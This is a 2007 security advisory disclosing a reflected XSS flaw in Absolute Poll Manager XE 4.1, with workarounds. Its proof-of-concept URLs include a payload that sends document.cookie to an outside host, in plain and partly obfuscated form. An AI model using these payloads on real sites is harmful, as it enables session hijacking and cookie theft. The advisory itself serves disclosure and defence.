PR07-23: Non-persistent Cross-site Scripting (XSS) on Absolute Poll Manager XE admin page

Date Found: 10th April 2007

Vendor informed: 4th July 2007

Successfully tested on: Absolute Poll Manager XE - Version 4.1. Earlier versions are possibly
affected as well but have NOT been tested.

Description: Absolute Poll Manager XE is vulnerable to a vanilla XSS within the
"/AbsolutePollManager/xlaapmview.asp" server-side script and "msg" parameter.

No authentication is required to exploit this vulnerability

Consequences: An attacker may be able to cause execution of malicious scripting code in the browser
of a polls management user who clicks on a link to a site managed by Absolute Poll Manager. Such code
would run within the context of the target domain.

This type of attack can result in non-persistent defacement of the target site, or the redirection of
confidential information (i.e.: session IDs) to unauthorised third parties.

XSS Proof of concept (PoC) URLs:

Alert box injection -

http://target-domain.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>alert("running+code+within+the+context+of+"%2bdocument.domain)</script>

Cookie theft (could be used in session hijacking attacks) -

http://target-domain.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>location="http://procheckup.com/?"%2bdocument.cookie</script>

or partially obfuscated -

http://target-domain.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=%3cscript%3elocation=%22http%3a//proch%65ckup%2ecom/?%22%2bdocument.cookie%3c/script%3e&

Successfully tested on:

Web server environment -

Microsoft IIS 5.0
Absolute Poll Manager XE - Version 4.1

Severity: Medium/High

Authors: Richard Brain and Adrian Pastor of ProCheckUp Ltd (http://www.procheckup.com/)

Vendor URL: http://www.xigla.com/

Product URL: http://www.xigla.com/absolutepm/

Fix: The yet-to-be released .NET version of Absolute Poll Manager XE will fix this issue.

For the moment, any of the following workarounds can be applied in order to fix the XSS issue:

1. Password protect the Absolute Poll Manager admin console directory ('/absolutepm/')
2. Restrict access to Absolute Poll Manager admin console directory from trusted IP addresses only

ProCheckUp thanks Xigla Software for working with us.

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